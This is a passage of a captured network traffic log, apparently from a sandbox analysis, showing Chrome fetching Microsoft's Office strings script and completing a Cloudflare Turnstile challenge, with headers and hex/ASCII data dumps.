origin; dur=0 , cdntime; dur=4 Akamai-Cache-Status: Miss from child, Hit from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081925Z-16849878b78k46f8kzwxznephs00000008s000000000eqfz x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-25 08:19:26 UTC	14839	IN	Data Raw: 69 66 20 28 77 69 6e 64 6f 77 2e 54 79 70 65 20 26 26 20 77 69 6e 64 6f 77 2e 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 29 20 7b 0d 0a 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 53 74 72 69 6e 67 73 22 29 3b 7d 20 65 6c 73 65 20 7b 0d 0a 69 66 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 29 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0d 0a 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 20 3d 20 6e 65 77 20 4f 62 6a 65 63 74 28 29 3b 20 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 2e 20 5f 5f 6e 61 6d 65 73 70 61 63 65 20 3d 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 7d 0d 0a 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 3d 66 75 6e 63 74 Data Ascii: if (window.Type && window.Type.registerNamespace) {Type.registerNamespace("Strings");} else {if(typeof(window['"Strings"']) == 'undefined') {window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;}}Strings.OfficeOM=funct
2024-10-25 08:19:26 UTC	6340	IN	Data Raw: 20 43 61 6e 63 65 6c 6c 65 64 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 43 61 6e 63 65 6c 6c 65 64 45 72 72 6f 72 4d 65 73 73 61 67 65 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 77 61 73 20 63 61 6e 63 65 6c 6c 65 64 20 62 79 20 74 68 65 20 75 73 65 72 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 4f 6e 4d 61 74 72 69 78 44 61 74 61 3d 22 53 65 6c 65 63 74 65 64 20 63 6f 6e 74 65 6e 74 20 6e 65 65 64 Data Ascii: Cancelled";Strings.OfficeOM.L_OperationCancelledErrorMessage="The operation was cancelled by the user.";Strings.OfficeOM.L_OperationNotSupported="The operation is not supported.";Strings.OfficeOM.L_OperationNotSupportedOnMatrixData="Selected content need

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50049	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:25 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c7f0395d4869/1729844361925/ULcuuj9FzFMW5qZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:26 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:26 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c817cefbe742-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:26 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 57 00 00 00 42 08 02 00 00 00 ad b1 dd 13 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRWBIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50050	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:26 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31570 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:26 UTC	16384	OUT	Data Raw: 76 5f 38 64 38 30 63 37 66 30 33 39 35 64 34 38 36 39 3d 25 32 62 78 4a 62 52 36 74 65 56 38 4a 74 78 44 31 41 70 74 52 45 42 37 38 45 57 45 4e 62 4c 64 74 59 74 73 45 74 34 74 31 74 67 45 58 34 45 78 59 39 74 74 45 6f 55 64 45 59 64 45 30 38 6e 62 62 70 34 71 6d 6c 45 77 62 37 6a 50 77 38 45 45 4b 45 48 62 37 59 78 45 6f 59 34 70 38 45 65 34 74 50 45 61 34 36 33 44 70 45 36 6f 41 51 43 45 34 74 55 45 48 70 58 64 37 51 42 45 74 57 71 4c 45 75 4a 74 35 76 76 45 45 6a 31 45 2b 56 62 7a 4a 62 41 57 61 45 74 5a 6e 36 61 78 45 62 6e 38 45 6e 34 74 4e 51 62 45 4c 31 75 41 4a 50 2b 6c 48 51 32 61 6e 6c 4a 59 50 37 44 33 45 47 4f 4b 7a 45 45 39 6e 38 62 74 41 61 48 38 70 71 73 61 4e 6e 67 38 65 24 52 4f 36 78 24 68 55 6d 71 38 63 72 56 30 50 33 4c 6e 57 58 64 45 Data Ascii: v_8d80c7f0395d4869=%2bxJbR6teV8JtxD1AptREB78EWENbLdtYtsEt4t1tgEX4ExY9ttEoUdEYdE08nbbp4qmlEwb7jPw8EEKEHb7YxEoY4p8Ee4tPEa463DpE6oAQCE4tUEHpXd7QBEtWqLEuJt5vvEEj1E+VbzJbAWaEtZn6axEbn8En4tNQbEL1uAJP+lHQ2anlJYP7D3EGOKzEE9n8btAaH8pqsaNng8e$RO6x$hUmq8crV0P3LnWXdE
2024-10-25 08:19:26 UTC	15186	OUT	Data Raw: 31 45 31 64 77 59 31 45 72 6c 44 4d 74 38 45 68 62 64 62 6e 36 2b 63 67 31 64 33 45 5a 69 62 69 78 6d 62 7a 62 6e 45 55 4a 45 6d 45 43 56 41 6c 45 59 62 37 58 74 6c 45 71 45 72 56 41 6a 62 67 47 43 64 45 45 45 4e 74 64 45 56 45 70 45 76 66 45 57 45 54 45 45 4a 41 36 45 36 47 52 4a 41 55 45 61 62 36 45 45 6d 45 44 62 41 56 74 66 45 30 45 6a 6c 74 50 45 32 62 37 45 45 35 45 4a 45 72 6c 41 6f 45 37 64 6e 4d 45 62 74 61 44 43 6c 74 72 45 6f 45 38 52 7a 6d 62 47 76 74 4a 41 75 78 6e 2d 56 2d 62 50 6d 6c 65 74 4e 52 76 62 41 45 37 62 36 4c 56 70 75 46 52 7a 69 31 54 55 71 4d 41 69 49 52 64 6a 45 37 58 45 4b 45 72 45 43 56 45 50 45 43 62 45 34 45 4f 65 38 4c 67 56 45 34 34 45 62 44 55 45 70 45 4a 74 45 6a 45 5a 45 72 34 36 6c 74 69 45 38 47 45 62 45 56 62 41 57 Data Ascii: 1E1dwY1ErlDMt8Ehbdbn6+cg1d3EZibixmbzbnEUJEmECVAlEYb7XtlEqErVAjbgGCdEEENtdEVEpEvfEWETEEJA6E6GRJAUEab6EEmEDbAVtfE0EjltPE2b7EE5EJErlAoE7dnMEbtaDCltrEoE8RzmbGvtJAuxn-V-bPmletNRvbAE7b6LVpuFRzi1TUqMAiIRdjE7XEKErECVEPECbE4EOe8LgVE44EbDUEpEJtEjEZEr46ltiE8GEbEVbAW
2024-10-25 08:19:26 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:26 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26320 Connection: close cf-chl-gen: U556fNF6PZNQrcORZ0n4xaA3l5L7xksJGTuYuco7/lcvkZmjbYNLWH0QWUWuD+D74C5mjAmHOLcERaCA$Mm65qstZyWRU4ja+ Server: cloudflare CF-RAY: 8d80c818ccb3465f-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:26 UTC	1039	IN	Data Raw: 6f 72 78 38 73 59 6d 30 75 4a 32 30 6f 37 43 66 73 72 32 77 68 6f 53 62 74 71 32 62 6c 34 2b 78 6e 35 75 4c 70 71 53 66 78 71 61 69 79 4e 33 63 6c 74 61 62 74 37 50 6a 6d 39 65 32 77 4e 36 69 34 38 76 74 31 63 37 4d 33 2b 50 63 35 75 76 6c 30 37 48 46 38 2f 48 62 35 66 62 70 38 51 44 61 32 63 7a 41 2b 66 7a 6d 43 73 4c 30 78 50 73 4e 37 51 4d 51 34 66 30 52 45 63 30 51 35 77 48 69 30 64 63 46 39 42 6a 7a 2f 51 50 39 41 66 30 4f 38 64 34 6f 35 69 49 6e 2f 4e 38 4a 2b 68 77 52 45 41 48 39 42 68 4d 70 4a 2f 4d 55 4b 68 6b 6f 48 42 54 36 4b 2f 77 77 46 41 34 31 48 51 52 4c 50 79 31 47 42 55 4a 49 44 67 52 48 44 54 51 33 4b 42 64 55 56 68 70 52 4a 69 34 75 4d 6a 74 4e 57 44 55 58 56 6c 78 4a 52 30 74 66 5a 54 64 6b 53 54 70 6d 63 46 73 72 61 58 46 44 57 46 49 Data Ascii: orx8sYm0uJ20o7Cfsr2whoSbtq2bl4+xn5uLpqSfxqaiyN3cltabt7Pjm9e2wN6i48vt1c7M3+Pc5uvl07HF8/Hb5fbp8QDa2czA+fzmCsL0xPsN7QMQ4f0REc0Q5wHi0dcF9Bjz/QP9Af0O8d4o5iIn/N8J+hwREAH9BhMpJ/MUKhkoHBT6K/wwFA41HQRLPy1GBUJIDgRHDTQ3KBdUVhpRJi4uMjtNWDUXVlxJR0tfZTdkSTpmcFsraXFDWFI
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 33 77 71 43 34 79 6f 75 37 70 73 6d 52 71 4a 2b 47 6b 36 43 4a 7a 39 71 6d 73 4b 71 32 75 37 71 38 6d 72 69 67 72 73 37 65 76 38 69 67 6f 4b 66 47 34 72 33 4b 35 72 76 47 72 75 54 7a 34 38 48 50 37 4d 37 4c 72 76 4c 55 30 39 6a 55 30 4d 34 41 33 65 2f 57 42 41 63 46 41 4f 67 46 42 39 37 35 41 39 45 43 45 67 44 7a 43 64 54 70 44 52 54 57 47 76 4d 4e 2b 64 77 43 49 78 6b 6d 37 2f 33 39 35 51 67 72 41 51 37 39 45 53 6b 69 4a 54 50 38 4b 2f 49 4a 41 68 4d 71 42 76 73 4e 4d 78 34 62 4f 7a 55 58 47 44 6c 45 46 6b 51 33 4f 54 38 70 4c 30 73 65 4f 6b 4e 4d 53 43 59 56 4a 30 41 69 49 6a 49 56 4e 46 45 34 58 31 42 51 4f 78 74 62 4e 30 39 55 5a 7a 4d 34 5a 46 5a 44 53 43 68 4e 53 6e 42 54 62 48 63 32 57 54 4a 53 52 6c 74 4e 56 45 78 4d 59 59 42 69 51 33 46 59 55 6e Data Ascii: 3wqC4you7psmRqJ+Gk6CJz9qmsKq2u7q8mrigrs7ev8igoKfG4r3K5rvGruTz48HP7M7LrvLU09jU0M4A3e/WBAcFAOgFB975A9ECEgDzCdTpDRTWGvMN+dwCIxkm7/395QgrAQ79ESkiJTP8K/IJAhMqBvsNMx4bOzUXGDlEFkQ3OT8pL0seOkNMSCYVJ0AiIjIVNFE4X1BQOxtbN09UZzM4ZFZDSChNSnBTbHc2WTJSRltNVExMYYBiQ3FYUn
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 76 4a 72 52 76 49 75 51 30 74 44 45 70 39 69 75 79 4e 79 59 71 4c 33 5a 31 2b 48 44 74 4e 6d 69 70 36 54 61 74 63 4f 2b 33 4b 69 36 35 4b 79 37 75 2b 7a 4e 33 2b 65 34 39 37 6e 57 79 37 66 34 33 50 7a 71 76 2b 4f 37 33 41 41 46 31 4f 4c 55 36 76 59 4e 34 4f 62 63 41 75 33 64 44 76 55 44 37 78 6e 6f 34 78 50 75 48 68 72 32 45 64 72 78 46 42 55 6e 42 41 44 6c 42 53 49 6f 44 67 55 62 2f 42 38 6b 42 53 30 43 45 77 51 45 39 6a 54 31 43 54 44 30 43 69 38 68 47 6a 4d 38 52 6b 41 61 4a 6b 4d 39 4e 43 77 4c 4a 44 41 48 4a 6b 41 6d 48 69 63 51 4a 53 6c 46 4f 42 55 31 52 7a 30 36 47 45 31 55 48 44 49 79 4f 31 35 59 4a 43 56 68 56 6b 45 67 58 47 4a 50 4a 46 35 76 56 6d 4e 52 64 44 42 36 64 47 39 52 65 46 74 30 51 54 70 66 56 6a 31 46 50 6e 35 41 59 33 31 6a 61 32 56 Data Ascii: vJrRvIuQ0tDEp9iuyNyYqL3Z1+HDtNmip6TatcO+3Ki65Ky7u+zN3+e497nWy7f43Pzqv+O73AAF1OLU6vYN4ObcAu3dDvUD7xno4xPuHhr2EdrxFBUnBADlBSIoDgUb/B8kBS0CEwQE9jT1CTD0Ci8hGjM8RkAaJkM9NCwLJDAHJkAmHicQJSlFOBU1Rz06GE1UHDIyO15YJCVhVkEgXGJPJF5vVmNRdDB6dG9ReFt0QTpfVj1FPn5AY31ja2V
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 38 71 6b 73 4b 7a 62 74 4d 7a 53 7a 39 32 72 32 37 4c 6a 72 4c 44 4f 32 71 54 6f 31 38 76 46 79 4c 75 71 35 39 75 70 30 37 33 52 31 4c 58 5a 38 63 76 6b 2b 2f 4b 34 75 74 48 59 38 73 76 42 34 66 50 59 38 64 54 4a 41 41 50 6b 44 77 55 50 42 42 41 53 43 2b 33 70 30 65 59 57 32 66 62 35 47 67 6b 50 47 50 30 54 2b 52 34 62 2b 42 77 62 49 50 77 4b 44 53 62 71 4d 53 48 70 4c 65 37 78 4a 67 4d 35 4b 66 4d 6a 2b 76 55 6f 48 44 50 36 4e 42 4d 79 4a 52 64 45 46 76 6f 35 50 6b 55 4c 43 30 34 4e 4b 6a 45 4a 54 55 73 53 55 68 51 70 53 79 6b 77 48 44 63 32 4e 54 46 4c 58 44 42 61 50 53 4a 65 5a 54 39 69 59 46 64 6b 50 44 6c 62 57 6d 56 63 62 6c 5a 48 64 32 64 79 63 56 31 30 64 46 4e 2b 63 54 39 39 5a 48 6c 42 54 34 6d 43 68 33 31 70 56 31 74 62 67 49 6c 52 62 6e 52 6e Data Ascii: 8qksKzbtMzSz92r27LjrLDO2qTo18vFyLuq59up073R1LXZ8cvk+/K4utHY8svB4fPY8dTJAAPkDwUPBBASC+3p0eYW2fb5GgkPGP0T+R4b+BwbIPwKDSbqMSHpLe7xJgM5KfMj+vUoHDP6NBMyJRdEFvo5PkULC04NKjEJTUsSUhQpSykwHDc2NTFLXDBaPSJeZT9iYFdkPDlbWmVcblZHd2dycV10dFN+cT99ZHlBT4mCh31pV1tbgIlRbnRn
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 36 5a 32 62 37 53 6e 37 69 79 74 70 33 45 79 4e 43 35 73 37 54 58 72 63 62 4e 36 4b 33 75 77 38 72 4b 76 74 44 31 73 2b 62 30 35 62 6d 30 79 75 6e 41 2f 73 45 43 77 39 77 42 2f 51 44 56 39 65 44 5a 33 2b 58 34 79 65 37 4c 36 75 34 53 31 4f 6a 76 32 63 30 59 48 41 7a 39 41 68 30 55 48 4f 77 67 2b 64 38 47 49 51 4d 6a 2b 67 59 67 48 52 34 71 37 77 30 4a 4b 50 4d 68 43 42 48 33 2b 76 55 64 44 44 51 64 4c 68 55 41 44 55 4e 49 50 30 67 6d 50 79 51 4d 4a 69 73 67 43 79 30 4d 4d 55 49 2f 57 45 39 4a 4f 52 4d 59 4f 44 77 72 4f 56 70 4c 47 78 73 6a 52 6b 52 66 59 31 4d 6b 5a 32 78 4d 4f 32 74 65 55 55 38 38 4e 55 78 70 51 56 4a 54 62 7a 78 6c 56 31 31 4e 56 6c 67 37 50 44 78 65 5a 48 64 65 5a 30 4e 44 53 32 35 63 5a 57 5a 78 58 6f 35 4c 63 32 53 48 62 48 56 33 62 Data Ascii: 6Z2b7Sn7iytp3EyNC5s7TXrcbN6K3uw8rKvtD1s+b05bm0yunA/sECw9wB/QDV9eDZ3+X4ye7L6u4S1Ojv2c0YHAz9Ah0UHOwg+d8GIQMj+gYgHR4q7w0JKPMhCBH3+vUdDDQdLhUADUNIP0gmPyQMJisgCy0MMUI/WE9JORMYODwrOVpLGxsjRkRfY1MkZ2xMO2teUU88NUxpQVJTbzxlV11NVlg7PDxeZHdeZ0NDS25cZWZxXo5Lc2SHbHV3b
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 39 33 4e 6d 34 75 64 58 64 79 2b 6a 4e 34 73 54 46 35 75 62 73 76 75 65 76 71 50 44 78 75 63 7a 34 2f 62 65 77 41 66 79 34 32 50 67 46 76 38 62 53 41 38 6e 33 38 77 54 47 39 67 6a 76 43 76 72 6c 41 67 33 6e 30 66 6b 55 32 50 45 4b 46 41 66 39 41 68 62 69 47 41 2f 67 34 78 67 56 4b 41 45 4c 47 75 6f 72 4c 65 63 71 36 41 73 69 38 77 33 31 45 66 59 6f 44 79 72 30 46 55 48 34 41 6a 73 35 4a 6a 6f 44 52 44 70 43 43 44 51 37 43 44 63 69 4f 55 63 51 55 45 56 4d 4b 56 41 34 55 6b 63 79 55 31 4e 5a 4b 31 51 63 46 56 31 65 4a 6a 6c 6c 61 69 51 64 62 57 6b 6c 52 57 56 78 4c 44 4d 2f 62 7a 5a 6b 59 48 42 76 4e 79 35 77 4f 47 70 30 61 6e 5a 41 56 6e 4a 2b 52 47 4a 37 67 6f 4e 47 66 6f 5a 67 54 6c 6c 4f 66 6b 71 4e 55 30 31 79 6b 6c 6c 62 55 70 64 63 6d 6d 75 59 59 5a Data Ascii: 93Nm4udXdy+jN4sTF5ubsvuevqPDxucz4/bewAfy42PgFv8bSA8n38wTG9gjvCvrlAg3n0fkU2PEKFAf9AhbiGA/g4xgVKAELGuorLecq6Asi8w31EfYoDyr0FUH4Ajs5JjoDRDpCCDQ7CDciOUcQUEVMKVA4UkcyU1NZK1QcFV1eJjllaiQdbWklRWVxLDM/bzZkYHBvNy5wOGp0anZAVnJ+RGJ7goNGfoZgTllOfkqNU01ykllbUpdcmmuYYZ
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 34 5a 33 6e 34 2b 57 68 32 4f 6a 61 7a 65 6a 73 79 4d 48 71 37 72 65 30 37 50 50 50 39 2f 48 33 2b 66 66 78 2b 73 49 41 2b 41 50 79 33 66 30 43 42 2f 63 42 42 76 72 64 42 77 7a 2b 35 52 51 51 45 68 54 39 46 4e 76 31 45 68 67 62 38 52 6b 63 48 2b 41 57 49 43 4d 47 48 79 51 51 34 53 49 6f 42 52 77 6b 4c 78 6a 70 4c 44 45 7a 45 69 55 31 4e 78 59 77 4f 42 55 65 51 44 73 45 49 6a 64 41 4d 79 6f 75 52 55 5a 49 50 6b 68 4c 44 55 4a 4b 4f 41 70 49 55 43 30 71 53 6c 56 48 4d 6c 46 62 53 79 35 53 58 56 35 67 57 32 41 39 4f 6b 35 6b 56 7a 35 73 61 45 55 2b 61 47 31 76 55 6d 70 78 59 31 5a 76 64 48 63 35 62 33 6c 37 56 6e 5a 38 62 31 35 39 66 6e 4e 65 66 34 64 33 57 6f 4b 49 65 32 4b 44 6a 59 35 4b 65 70 43 44 65 70 69 56 68 32 36 4a 6d 59 75 4d 6c 35 79 65 6f 4a 69 Data Ascii: 4Z3n4+Wh2OjazejsyMHq7re07PPP9/H3+ffx+sIA+APy3f0CB/cBBvrdBwz+5RQQEhT9FNv1Ehgb8RkcH+AWICMGHyQQ4SIoBRwkLxjpLDEzEiU1NxYwOBUeQDsEIjdAMyouRUZIPkhLDUJKOApIUC0qSlVHMlFbSy5SXV5gW2A9Ok5kVz5saEU+aG1vUmpxY1ZvdHc5b3l7VnZ8b159fnNef4d3WoKIe2KDjY5KepCDepiVh26JmYuMl5yeoJi
2024-10-25 08:19:26 UTC	1369	IN	Data Raw: 4f 72 63 38 2b 43 76 73 2b 7a 6c 38 65 57 74 38 37 65 37 39 4e 50 36 37 41 54 38 2f 76 44 33 43 67 76 7a 43 66 55 4f 34 65 62 6d 43 67 76 4e 36 78 4c 72 37 63 6f 53 45 39 58 35 47 76 50 31 30 68 6f 62 33 66 63 62 49 67 49 6b 4b 75 62 70 47 79 59 5a 4c 43 77 6e 37 79 7a 79 38 41 6b 74 44 44 4d 6a 44 69 73 32 4f 44 30 76 4f 69 31 41 51 44 73 44 2b 55 46 44 4e 52 6f 35 43 41 78 46 4a 45 73 2b 4c 6c 5a 57 51 46 55 31 56 42 70 55 47 31 35 59 4e 7a 4a 61 57 78 34 34 57 32 45 6c 5a 47 74 69 4b 6b 4a 6e 57 53 6c 64 63 6b 55 75 52 57 74 79 4b 6e 42 35 4f 44 5a 52 64 6e 63 36 55 48 64 39 66 49 43 47 66 6b 5a 61 67 33 57 41 65 55 5a 68 53 6d 32 48 6a 6b 61 4d 6c 32 6c 53 59 70 4b 57 57 6e 57 61 63 57 35 54 6c 35 35 57 6e 46 35 35 59 6f 47 6d 66 58 70 66 70 71 64 71 Data Ascii: Orc8+Cvs+zl8eWt87e79NP67AT8/vD3CgvzCfUO4ebmCgvN6xLr7coSE9X5GvP10hob3fcbIgIkKubpGyYZLCwn7yzy8AktDDMjDis2OD0vOi1AQDsD+UFDNRo5CAxFJEs+LlZWQFU1VBpUG15YNzJaWx44W2ElZGtiKkJnWSldckUuRWtyKnB5ODZRdnc6UHd9fICGfkZag3WAeUZhSm2HjkaMl2lSYpKWWnWacW5Tl55WnF55YoGmfXpfpqdq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50052	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:27 UTC	519	OUT	GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
2024-10-25 08:19:27 UTC	1565	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:27 GMT Content-Type: application/javascript Content-Length: 21179 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Wed, 23 Oct 2024 18:33:46 GMT x-ms-request-id: d6886e85-f01e-0050-3bb4-25aa50000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=104.93.21.68,b=2433527298,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.44155d68.1729844366.910cae02&TotalRTCDNTime=10&CompressionType=gzip&FileSize=5655"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=10, clienttt; dur=4, origin; dur=0 , cdntime; dur=4 Akamai-Cache-Status: Miss from child, Hit from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081927Z-16849878b78k8q5pxkgux3mbgg00000008vg00000000axcz x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-25 08:19:27 UTC	14819	IN	Data Raw: 69 66 20 28 77 69 6e 64 6f 77 2e 54 79 70 65 20 26 26 20 77 69 6e 64 6f 77 2e 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 29 20 7b 0d 0a 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 53 74 72 69 6e 67 73 22 29 3b 7d 20 65 6c 73 65 20 7b 0d 0a 69 66 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 29 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0d 0a 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 20 3d 20 6e 65 77 20 4f 62 6a 65 63 74 28 29 3b 20 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 2e 20 5f 5f 6e 61 6d 65 73 70 61 63 65 20 3d 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 7d 0d 0a 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 3d 66 75 6e 63 74 Data Ascii: if (window.Type && window.Type.registerNamespace) {Type.registerNamespace("Strings");} else {if(typeof(window['"Strings"']) == 'undefined') {window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;}}Strings.OfficeOM=funct
2024-10-25 08:19:27 UTC	6360	IN	Data Raw: 6c 6c 65 64 45 72 72 6f 72 3d 22 4f 70 65 72 61 74 69 6f 6e 20 43 61 6e 63 65 6c 6c 65 64 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 43 61 6e 63 65 6c 6c 65 64 45 72 72 6f 72 4d 65 73 73 61 67 65 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 77 61 73 20 63 61 6e 63 65 6c 6c 65 64 20 62 79 20 74 68 65 20 75 73 65 72 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 4f 6e 4d 61 74 72 69 78 44 61 74 61 3d 22 53 Data Ascii: lledError="Operation Cancelled";Strings.OfficeOM.L_OperationCancelledErrorMessage="The operation was cancelled by the user.";Strings.OfficeOM.L_OperationNotSupported="The operation is not supported.";Strings.OfficeOM.L_OperationNotSupportedOnMatrixData="S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50056	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
